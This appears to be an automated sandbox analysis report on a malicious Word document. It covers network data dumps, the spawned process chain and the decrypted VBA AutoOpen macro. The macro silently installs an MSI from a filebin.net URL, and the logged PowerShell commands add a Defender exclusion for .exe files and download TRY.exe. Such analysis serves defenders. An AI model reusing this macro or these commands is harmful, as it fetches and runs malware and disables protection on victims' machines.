88 87 87 87 87 00 00 00 00 00 00 00 00 00 00 00 00 08 88 88 88 88 78 88 88 Data Ascii: xpwxxw\|wgwwxxxwggwxxwxxpxxxxxpx
2022-04-20 07:18:56 UTC	401	IN	Data Raw: 9c 26 e7 2e 0f 83 41 64 ed 4b 21 10 ce d2 af 87 2a 80 21 97 06 0c 26 75 e7 53 53 2c 0a 72 2b d8 cc 09 a9 20 b7 01 14 52 85 ad 81 fd fe b1 a6 9f a5 f4 dc e6 fb d8 46 1f c7 24 dd 33 8f d8 9b f6 6f 9c 4e 9e 9b f4 c8 c7 db 9d 5c d7 a2 b4 2a 8b ff 34 fd fb fd c4 b8 a4 f4 e8 f7 db 27 72 20 9e 95 1e 16 8e 56 6a 04 7c 90 36 84 49 ab ad 7e f9 97 7f 73 af db ed c7 49 92 12 04 7e 11 fd 97 45 f7 e9 cc 72 6b 32 f7 9e 35 a3 91 82 a3 52 c0 88 17 20 3f f6 ad b1 7f 14 f8 97 45 4f c4 06 14 08 c8 ad cb 65 9a 2c 05 08 46 03 59 96 33 ce e5 65 4e 2b 9b 2f 1a 9a 4d 27 c3 7d e7 a1 f1 b6 e7 eb f7 22 f5 2f da a3 47 47 49 12 c5 f7 ef bf f7 fa a4 6b f3 ae 14 9c 94 2e ff 61 d9 e3 96 8e 04 5c a5 65 73 d9 28 43 21 78 67 30 88 7b 71 9c a2 86 09 30 0a 57 9f d6 64 2e 42 0b 23 de 81 5c 05 Data Ascii: &.AdK!!&uSS,r+ RF$3oN\4'r Vj\|6I~sI~Erk25R ?EOe,FY3eN+/M'}"/GGIk.a\es(C!xg0{q0Wd.B#\
2022-04-20 07:18:56 UTC	417	IN	Data Raw: cb 11 5e 9f 06 d3 dc 7d 41 e1 e7 48 7c a8 02 0c 7b db 36 3f 49 7f 27 7f 7e 6b ee a7 40 5d f2 e3 7d 58 6f bb be ef 4e 1d 0a 6d d6 8c 09 29 c0 5c 28 a4 d2 b1 38 2b 59 78 a1 1d 79 42 18 84 fe 0c c9 9d e8 df 91 8e 95 e4 ab bd fb 75 9b fb 70 57 37 20 f9 f5 5a 6b b2 7c c0 b0 28 28 ca 32 7c 8a 21 4a b5 45 69 09 9e 1e 40 62 a1 ca b4 8e 69 4e 6b 2d 83 c1 98 f1 b8 d8 ee f7 eb a0 b7 8d 1c bc 73 1a f0 2e 27 30 1c 0e 4d 96 65 0d e0 bb 37 a8 cb 1c 09 f4 d3 e2 02 42 33 cc d6 3f df df 6f 94 ca f9 e3 c7 8f eb a7 4f bf 12 79 5e 72 7e 71 8e 31 1b 3e f9 e4 1f 78 fa ec 2b 74 96 6f a5 37 b4 8c d6 3d 76 62 e8 2e f3 76 2d 8f fe f6 e9 dc fb d7 72 1b 6d 21 bf 07 84 41 f7 f7 ee be fb fd 13 bb d6 09 10 05 80 47 23 d1 42 d2 58 43 e3 42 bf 01 4c 28 62 2a 87 13 f2 ec 84 c6 3a 5c 63 19 Data Ascii: ^}AH\|{6?I'~k@]}XoNm)\(8+YxyBupW7 Zk\|((2\|!JEi@biNk-s.'0Me7B3?oOy^r~q1>x+to7=vb.v-rm!AG#BXCBL(b*:\c
2022-04-20 07:18:56 UTC	433	IN	Data Raw: c6 8a 2c 75 ae c1 aa 8a 59 c5 35 45 d5 50 d6 0d 95 cf bb 68 b4 03 41 c3 ef 61 ad 8b c8 48 e1 aa 2f f1 dd 93 94 92 48 a1 5d ca 72 a3 c1 1a e2 38 02 65 a9 6c 89 ad 0d 30 70 89 49 c6 f8 c4 a0 f0 1b 75 31 81 f3 dc 80 b3 02 20 bc 3e b3 8f 65 a3 4c fa 69 50 07 f2 78 a0 05 10 e8 1b df f8 86 00 27 0c fc fb 5f 88 2c 86 27 2e 00 4e 4e 4e 58 2c 16 5a 29 65 42 0f fc 60 5a b6 20 60 00 a2 c2 55 14 d6 25 b3 00 d6 5a ab b5 2e 8c 31 ec ed ed fd 89 37 df 7c f3 c3 ef 7c e7 3b 95 90 62 7c 7c 7c f4 d3 83 83 83 eb 42 46 51 53 e6 58 bb 39 2e bc 1f 01 e8 32 7b 77 5b d8 be 16 4a 6b c0 ab 35 ff 7d e5 5f 92 24 4c 26 13 46 a3 11 79 9e b3 58 2c 30 c6 0d f3 3c 3e 3e a2 ae 4a c6 7b 7b ae 9d b7 8c 5d f9 ae 14 a0 24 c2 0f b1 70 4c e0 46 81 c7 42 92 8c 52 46 d9 80 38 49 68 ea 86 b2 2c b0 Data Ascii: ,uY5EPhAaH/H]r8el0pIu1 >eLiPx'_,'.NNNX,Z)eB`Z `U%Z.17\|\|;b\|\|\|BFQSX9.2{w[Jk5}_$L&FyX,0<>>J{{]$pLFBRF8Ih,
2022-04-20 07:18:56 UTC	449	IN	Data Raw: 71 ee 07 d4 fd 94 b0 7b 35 4d 5f cb 35 a1 0b ae 25 18 2b ad 32 56 6e 1d ce d3 fe 62 11 a0 50 b0 f0 c6 1b e7 0a 07 0e 1c 7c 2f 97 9b 78 fc d2 a5 c1 7f a0 64 c2 cb f7 ef df 1f 2d f4 95 13 fb 22 53 de 38 6c 45 3a 35 8e e2 96 7e ab 2e 02 56 4a 03 ad 48 07 9d 20 a8 38 a4 94 66 62 1e b4 53 4e 5c 75 89 70 26 93 25 9f af b3 c8 78 df 17 1f 8e b6 1b 2f ff fd c4 6b a7 28 d3 7b 08 21 6b 1c e9 6e 92 81 7b 3b 43 b0 dd f6 dc cd cc 73 6f 21 52 ac 37 34 d2 d3 cb 2d a1 13 97 7a 41 91 d8 3e e0 04 14 b6 e4 70 1d 1d 96 3d 83 c2 ac 00 a5 02 82 eb d0 8d 04 28 13 28 58 0e 2c cb 81 27 03 48 0a 7c 34 3d 85 e2 f0 79 2a 6d 07 8c 72 c6 18 83 ef fb 11 61 5d d3 41 e6 27 3f f9 ce 65 00 97 33 99 cc af 00 e0 c0 81 e3 1b ec 59 eb eb 80 7a 84 52 d6 af 69 7a 2f e7 42 70 2e 44 78 0a 0f a4 f4 Data Ascii: q{5M_5%+2VnbP\|/xd-"S8lE:5~.VJH 8fbSN\up&%x/k({!kn{;Cso!R74-zA>p=((X,'H\|4=y*mra]A'?e3YzRiz/Bp.Dx
2022-04-20 07:18:56 UTC	465	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5b 5c 5c 3f 3e 3e 3d f5 8f 87 8a ff b0 b2 b2 ff 9b ae 87 ff b2 ad 8b ff e6 e2 e1 ff ec e9 e4 ff ca c9 c7 ff 97 95 99 ff 94 90 97 ff 99 91 99 ff aa b8 c9 ff bd b9 bf ff e5 c3 c2 ff f8 f1 f1 ff c2 b7 b7 ff e4 d4 d4 ff b6 9b 9b f4 a4 85 85 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5d 5e 5e 40 4a 41 43 f6 7f a4 97 ff 4e e3 9d ff 77 b4 7b ff a4 9f 98 ff c7 c5 c6 ff ea e8 e7 ff da da da ff b1 b2 b2 ff 9a 98 96 ff 99 9b 9c ff 87 be e1 ff ad ba c7 ff e8 c6 c5 ff fa f2 f2 ff c2 b7 b9 ff e7 d6 d6 ff b7 9c 9c f4 a1 83 83 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5e 5f 5f 41 51 46 4a f6 95 c2 b0 ff 5a c7 9b ff 9d 9e 9f ff b5 b2 b4 ff ce ce ce ff f0 f0 f0 ff f0 f0 f0 ff cd cd ce ff b8 b2 ae ff a7 be ce Data Ascii: [\\?>>=]^^@JACNw{^__AQFJZ

Target ID:	0
Start time:	09:19:12
Start date:	20/04/2022
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13f890000
File size:	1423704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	2
Start time:	09:19:15
Start date:	20/04/2022
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0xff7e0000
File size:	128512 bytes
MD5 hash:	AC2E7152124CEED36846BD1B6592A00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	4
Start time:	09:19:19
Start date:	20/04/2022
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding A7515E85DB42A85129F32A151C15AD96
Imagebase:	0x310000
File size:	73216 bytes
MD5 hash:	4315D6ECAE85024A0567DF2CB253B7B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	5
Start time:	09:19:23
Start date:	20/04/2022
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
Imagebase:	0x6b0000
File size:	27136 bytes
MD5 hash:	1542A92D5C6F7E1E80613F3466C9CE7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	7
Start time:	09:19:24
Start date:	20/04/2022
Path:	C:\Windows\SysWOW64\expand.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
Imagebase:	0xde0000
File size:	53248 bytes
MD5 hash:	659CED6D7BDA047BCC6048384231DB9F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	9
Start time:	09:19:27
Start date:	20/04/2022
Path:	C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe"
Imagebase:	0x13fb60000
File size:	155136 bytes
MD5 hash:	96DF7B0C491646EFC2E5F2E9F0443B8B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	10
Start time:	09:19:30
Start date:	20/04/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c thai.bat
Imagebase:	0x4a1d0000
File size:	345088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	12
Start time:	09:19:31
Start date:	20/04/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command "Set-MpPreference -ExclusionExtension ".exe"
Imagebase:	0x13f770000
File size:	473600 bytes
MD5 hash:	852D67A27E454BD389FA7F02A8CBE23F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Target ID:	13
Start time:	09:19:34
Start date:	20/04/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command "Invoke-WebRequest -uri https://filebin.net/rf43v6qzghbj7h7b/TRY.exe -o TRY.exe"
Imagebase:	0x13f910000
File size:	473600 bytes
MD5 hash:	852D67A27E454BD389FA7F02A8CBE23F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Target ID:	15
Start time:	09:19:38
Start date:	20/04/2022
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\." /SETINTEGRITYLEVEL (CI)(OI)LOW
Imagebase:	0xee0000
File size:	27136 bytes
MD5 hash:	1542A92D5C6F7E1E80613F3466C9CE7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	17
Start time:	09:19:46
Start date:	20/04/2022
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\
Imagebase:	0xffa50000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

VBA Code

Call Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: ThisDocument

Declaration

Line	Content
1	Attribute VB_Name = "ThisDocument"
2	Attribute VB_Base = "1Normal.ThisDocument"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = True
8	Attribute VB_Customizable = True

Executed Functions

Subroutine
AutoOpenAPIs: 3, Strings: 3, Number of lines: 7, Relevance: 16.007

APIs	Meta Information
CreateObject	CreateObject("WindowsInstaller.Installer")
UILevel
InstallProduct

Strings	Decrypted Strings
"WindowsInstaller.Installer"
""""
"https://filebin.net/rf43v6qzghbj7h7b/TRY.msi"

Line	Instruction	Meta Information
9	Sub AutoOpen()
10	On Error Resume Next	executed
11	Dim msi as Object
12	Set msi = CreateObject("WindowsInstaller.Installer")	CreateObject("WindowsInstaller.Installer") executed
13	msi.UILevel = 2	UILevel
15	msi.InstallProduct "https://filebin.net/rf43v6qzghbj7h7b/TRY.msi", ""	InstallProduct
16	End Sub

Reset < >

Analysis Process: TRY.exePID: 2272, Parent PID: 464COMMON

Execution Graph

Execution Coverage:	27.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	43.5%
Total number of Nodes:	910
Total number of Limit Nodes:	46

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000000013FB63E4C Relevance: 56.4, APIs: 18, Strings: 14, Instructions: 360
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 000000013FB63EDC
CompareStringA.KERNEL32 ref: 000000013FB63FA3

Part of subcall function 000000013FB64CC0: FindResourceA.KERNEL32 ref: 000000013FB64CE8
Part of subcall function 000000013FB64CC0: SizeofResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64CF3
Part of subcall function 000000013FB64CC0: FindResourceA.KERNEL32 ref: 000000013FB64D13
Part of subcall function 000000013FB64CC0: LoadResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D1E
Part of subcall function 000000013FB64CC0: LockResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D27
Part of subcall function 000000013FB64CC0: memcpy_s.MSVCRT ref: 000000013FB64D40
Part of subcall function 000000013FB64CC0: FreeResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D49

CompareStringA.KERNEL32 ref: 000000013FB64095
GetProcAddress.KERNEL32 ref: 000000013FB6412B
FreeLibrary.KERNEL32 ref: 000000013FB641F6
LocalFree.KERNEL32 ref: 000000013FB64220
FreeLibrary.KERNEL32 ref: 000000013FB6423D
LocalFree.KERNEL32 ref: 000000013FB64246
FreeLibrary.KERNEL32 ref: 000000013FB642A4
LocalFree.KERNEL32 ref: 000000013FB642AF
GetLastError.KERNEL32 ref: 000000013FB642B5
LocalFree.KERNEL32 ref: 000000013FB6431D
RegOpenKeyExA.ADVAPI32 ref: 000000013FB6436D
RegQueryValueExA.ADVAPI32 ref: 000000013FB643AC
memset.MSVCRT ref: 000000013FB643CC
GetSystemDirectoryA.KERNEL32 ref: 000000013FB643DB
RegSetValueExA.ADVAPI32 ref: 000000013FB64458
RegCloseKey.ADVAPI32 ref: 000000013FB64463

Strings

DoInfInstall, xrefs: 000000013FB64121, 000000013FB64283
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 000000013FB6435F
USRQCMD, xrefs: 000000013FB63F6B
wextract_cleanup0, xrefs: 000000013FB6438A, 000000013FB64441
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 000000013FB64411
RUNPROGRAM, xrefs: 000000013FB63FC6
ADMQCMD, xrefs: 000000013FB63F5A
advpack.dll, xrefs: 000000013FB642D9
tha, xrefs: 000000013FB64144
REBOOT, xrefs: 000000013FB63EAB
POSTRUNPROGRAM, xrefs: 000000013FB64056
<None>, xrefs: 000000013FB63F85, 000000013FB64077
SHOWWINDOW, xrefs: 000000013FB63F00
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 000000013FB6415C, 000000013FB643FB

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindStringValuememset$AddressCloseDirectoryErrorLastLoadLockOpenProcQuerySizeofSystemmemcpy_s
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$Software\Microsoft\Windows\CurrentVersion\RunOnce$USRQCMD$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$tha$wextract_cleanup0
API String ID: 4182703008-1896170548
Opcode ID: 9fbedc8ee68849e796393d59cf24a39954ca5b20f47fe15cbd13ed5894424a0e
Instruction ID: 9ea9c219b04611c92a42380e19669ca2f93f26a7609429b0fe2288a284144083
Opcode Fuzzy Hash: 9fbedc8ee68849e796393d59cf24a39954ca5b20f47fe15cbd13ed5894424a0e
Instruction Fuzzy Hash: 14F172F2A14A81C6FB609F65E8407EAF7A0F7447A8F54013EDA4943AACDB79C746C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB61C38 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 169
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 000000013FB61C7A
memset.MSVCRT ref: 000000013FB61C88
RegCreateKeyExA.KERNEL32 ref: 000000013FB61CCA

Part of subcall function 000000013FB61144: _vsnprintf.MSVCRT ref: 000000013FB61181

RegQueryValueExA.KERNEL32 ref: 000000013FB61D19
RegCloseKey.ADVAPI32 ref: 000000013FB61D32
GetSystemDirectoryA.KERNEL32 ref: 000000013FB61D4A
LoadLibraryA.KERNEL32 ref: 000000013FB61D66
GetProcAddress.KERNEL32 ref: 000000013FB61D82
FreeLibrary.KERNELBASE ref: 000000013FB61D95
GetSystemDirectoryA.KERNEL32 ref: 000000013FB61DAB
LocalAlloc.KERNEL32 ref: 000000013FB61E01
GetModuleFileNameA.KERNEL32 ref: 000000013FB61E3E
RegCloseKey.ADVAPI32 ref: 000000013FB61E4D
RegSetValueExA.KERNEL32 ref: 000000013FB61EB4
RegCloseKey.KERNEL32 ref: 000000013FB61EBF
LocalFree.KERNEL32 ref: 000000013FB61EC8

Strings

Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 000000013FB61C9A
wextract_cleanup0, xrefs: 000000013FB61CEC, 000000013FB61D07, 000000013FB61E99
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 000000013FB61E75
DelNodeRunDLL32, xrefs: 000000013FB61D78
%s /D:%s, xrefs: 000000013FB61E60
advpack.dll, xrefs: 000000013FB61D50
wextract_cleanup%d, xrefs: 000000013FB61CE0
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 000000013FB61DCC

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 178549006-1367052505
Opcode ID: 086f7c6c0e1ddd0f103fce1b769f8d6c6a2bd86ba3a3403e30a996cf38a0207b
Instruction ID: 7dd7dc1a92c00ac26efa26a085c2f4accc65344eef3c7bac0479a1e2821c8c0e
Opcode Fuzzy Hash: 086f7c6c0e1ddd0f103fce1b769f8d6c6a2bd86ba3a3403e30a996cf38a0207b
Instruction Fuzzy Hash: 1A714DB2B14B8496EB109F61E8547DAF3A5F784BA4F50113AD98E47BACDF38C606C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB615F8 Relevance: 37.1, APIs: 10, Strings: 11, Instructions: 340
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32 ref: 000000013FB617AC
GetFileAttributesA.KERNEL32 ref: 000000013FB617C0
LocalAlloc.KERNEL32 ref: 000000013FB61827
GetPrivateProfileIntA.KERNEL32 ref: 000000013FB6185E
GetPrivateProfileStringA.KERNEL32 ref: 000000013FB6189B
GetShortPathNameA.KERNEL32 ref: 000000013FB61902

Part of subcall function 000000013FB64A70: LoadStringA.USER32 ref: 000000013FB64B04
Part of subcall function 000000013FB64A70: MessageBoxA.USER32 ref: 000000013FB64B3E

Strings

setupx.dll, xrefs: 000000013FB618FB
.BAT, xrefs: 000000013FB61981
setupapi.dll, xrefs: 000000013FB6190A
Reboot, xrefs: 000000013FB6184D
DefaultInstall, xrefs: 000000013FB6183E
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 000000013FB6191E
Version, xrefs: 000000013FB6188C
AdvancedINF, xrefs: 000000013FB61885
Command.com /c %s, xrefs: 000000013FB619AA
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 000000013FB61724
.INF, xrefs: 000000013FB6178E

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: .BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-3591563988
Opcode ID: 8d2c9183c473727e79f3868567cf13be57a801c48a812a4ca0eda7e59c6b39be
Instruction ID: 71ffaa89fa12ec41a3f6c89a424957855d315545d94342d89f8eaacad2551499
Opcode Fuzzy Hash: 8d2c9183c473727e79f3868567cf13be57a801c48a812a4ca0eda7e59c6b39be
Instruction Fuzzy Hash: E1E1AFB6B0578096EF118F24E8503EAE7A1E745BA8F54413ADA9D03B9DDB39C70BC700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB66028 Relevance: 37.0, APIs: 15, Strings: 6, Instructions: 289
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000013FB64CC0: FindResourceA.KERNEL32 ref: 000000013FB64CE8
Part of subcall function 000000013FB64CC0: SizeofResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64CF3
Part of subcall function 000000013FB64CC0: FindResourceA.KERNEL32 ref: 000000013FB64D13
Part of subcall function 000000013FB64CC0: LoadResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D1E
Part of subcall function 000000013FB64CC0: LockResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D27
Part of subcall function 000000013FB64CC0: memcpy_s.MSVCRT ref: 000000013FB64D40
Part of subcall function 000000013FB64CC0: FreeResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D49

LocalAlloc.KERNEL32 ref: 000000013FB66074
GetLastError.KERNEL32 ref: 000000013FB660A2
lstrcmpA.KERNEL32 ref: 000000013FB66116
LocalFree.KERNEL32 ref: 000000013FB66137
LocalFree.KERNEL32 ref: 000000013FB660FA

Part of subcall function 000000013FB64A70: LoadStringA.USER32 ref: 000000013FB64B04
Part of subcall function 000000013FB64A70: MessageBoxA.USER32 ref: 000000013FB64B3E

GetTempPathA.KERNEL32 ref: 000000013FB661BD
GetDriveTypeA.KERNEL32 ref: 000000013FB66253
GetFileAttributesA.KERNEL32 ref: 000000013FB6626A
GetDiskFreeSpaceA.KERNEL32 ref: 000000013FB662BC
MulDiv.KERNEL32 ref: 000000013FB662D9
GetWindowsDirectoryA.KERNEL32 ref: 000000013FB66347
GetFileAttributesA.KERNEL32 ref: 000000013FB66366
CreateDirectoryA.KERNEL32 ref: 000000013FB66378
SetFileAttributesA.KERNEL32 ref: 000000013FB663A2

Part of subcall function 000000013FB67304: FindResourceA.KERNEL32 ref: 000000013FB6732E
Part of subcall function 000000013FB67304: LoadResource.KERNEL32 ref: 000000013FB6733F
Part of subcall function 000000013FB67304: DialogBoxIndirectParamA.USER32 ref: 000000013FB6736F
Part of subcall function 000000013FB67304: FreeResource.KERNEL32 ref: 000000013FB6737B

GetWindowsDirectoryA.KERNEL32 ref: 000000013FB66408

Strings

msdownld.tmp, xrefs: 000000013FB6634D
RUNPROGRAM, xrefs: 000000013FB6605C, 000000013FB660C6
A:\, xrefs: 000000013FB66202
Z, xrefs: 000000013FB66243
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 000000013FB661AA
<None>, xrefs: 000000013FB6610C

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Resource$Free$AttributesDirectoryFileFindLoadLocal$Windows$AllocCreateDialogDiskDriveErrorIndirectLastLockMessageParamPathSizeofSpaceStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 3973824516-1687894704
Opcode ID: 3a816d39f8404eceacc9f53d27fff6f0972f8e2c600a2447ebf23cbd64aef1a2
Instruction ID: a39ec325346f0a99808b0a7a1cfb56aa8885e016b1bc0eba5498775fcd1dade7
Opcode Fuzzy Hash: 3a816d39f8404eceacc9f53d27fff6f0972f8e2c600a2447ebf23cbd64aef1a2
Instruction Fuzzy Hash: FDC183F2A1468082FB609F25E4507EAF7A2F795764F54403DDA894BA9DDB3DCA07CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB665B0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 216
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32 ref: 000000013FB665FA
SetCurrentDirectoryA.KERNELBASE ref: 000000013FB66603
GetLastError.KERNEL32 ref: 000000013FB6662F
GetDiskFreeSpaceA.KERNELBASE ref: 000000013FB6667B
MulDiv.KERNEL32 ref: 000000013FB666A1
GetVolumeInformationA.KERNEL32 ref: 000000013FB666D9
memset.MSVCRT ref: 000000013FB666F1
GetLastError.KERNEL32 ref: 000000013FB666F6
GetLastError.KERNEL32 ref: 000000013FB66710
FormatMessageA.KERNEL32 ref: 000000013FB66735
